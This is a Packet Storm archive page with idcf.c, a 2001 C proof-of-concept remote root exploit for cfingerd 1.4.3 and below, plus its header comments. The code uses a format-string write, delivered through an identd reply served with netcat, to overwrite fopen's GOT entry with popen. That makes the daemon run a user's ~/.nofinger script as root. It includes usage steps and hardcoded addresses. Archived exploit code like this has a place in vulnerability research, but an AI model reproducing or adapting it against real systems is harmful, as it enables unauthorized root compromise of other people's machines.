exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

idcf.c

idcf.c
Posted Jul 12, 2001
Authored by Zen-Parse

Cfingerd v1.4.3 and below remote root exploit. Slightly broken. Exploit redirects fopen() call to popen() and executes code from ~/.nofinger.

tags | exploit, remote, root
SHA-256 | 071f4a1a2ce57b1bfa0e3867ce11912d46f52d364d1efbfd8b9ae3b75029765b

idcf.c

Change Mirror Download
/************************************************************

http://www.infodrom.ffis.de/projects/cfingerd/ states:

Cfingerd is a free and secure finger daemon replacement for
standard finger daemons such as GNU fingerd or MIT fingerd.

April 11, 2001 Megyer Laszlo < abulla@freemail.hu > wrote:

In 3 words: REMOTE ROOT VULNERABILITY


idcf.c - July 11 2001 - happy 3 month anniversary!


cfingerd 1.4.3 identd based localish exploit ;]
no shellcode required if you have a local account
make a script in ~/.nofinger that you want to be
executed as root.

it works by diverting the fopen call to popen. of
course it won't help if you don't already have a
local account but well, its just a proof of concept
and I think it's cute, and the more exploits there
are against an unpatched system, the more likely (I
hope) it will get patched. Would be nice if it worked
that way anyway.

./idcf|nc -l -p 113
on a box you have root on, and finger you@otherhost
to use.

this is hardcoded for four letter names, but shouldn't
require rocket science to make work for others.
Hint: offset and padding : format strings are fun.



M4D PR0PZ T0 :

Steven for showing me da bugz
noid 4 b3in6 7h3r3 wh3n no1 3153 w4z
grue 4 lurking, g00bER 4 something
and the rest of #roothat @ irc.pulltheplug.com

4150 70 mp3.com 4 http://mp3.com/cosv

***********************************************************/

// The offsets are from a version i compiled just to
// test the vulnerability and so will most likely not
// work for you.

// get this from objdump -R cfingered|grep fopen
#define OVER 0x0805532c
// get this from objdump -R cfingerd|grep popen
// and then gdb cfingerd and x/x 0xoffset from objdump
#define WITH 0x080491ba

#include <stdio.h>
main(int argc,char*argv[])
{
int z0=0,ovrw=OVER; // address to overwrite with pass 1
int z1=0,ovrw1=OVER+2; // address to overwrite with pass 2
int slen=strlen("evil fingered from ")+9;
int addr=WITH; // what to overwrite the address with
int offset=20; // where the first address is on the stack
int a1,a2;
FILE *f;
f=fopen("/etc/motd","w+");
if(!f)
{
fprintf("You must be root to use this exploit.\n");
exit(1);
}
a1=(addr&0x000ffff)-slen; // 1st number of bytes
a2=(0x10000+(addr>>16)-a1-slen)&0x0ffff; // 2nd number of bytes
printf(":::A%s%s",&ovrw,&ovrw1); // header/padding/addresses
printf("%%%ux%%%d$hn%%%ux%%%d$hn\n" // formatstring itself
,a1,offset,a2,offset+1);
fprintf(stderr,"Visit http://mp3.com/cosv/ today!\n");
fprintf(stderr,"And mebe visit your account on the other machine.\n");
fprintf(stderr,"after you finger it.\n");
fprintf(f,"Visit http://mp3.com/cosv/ today!\n");
fclose(f);

}

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close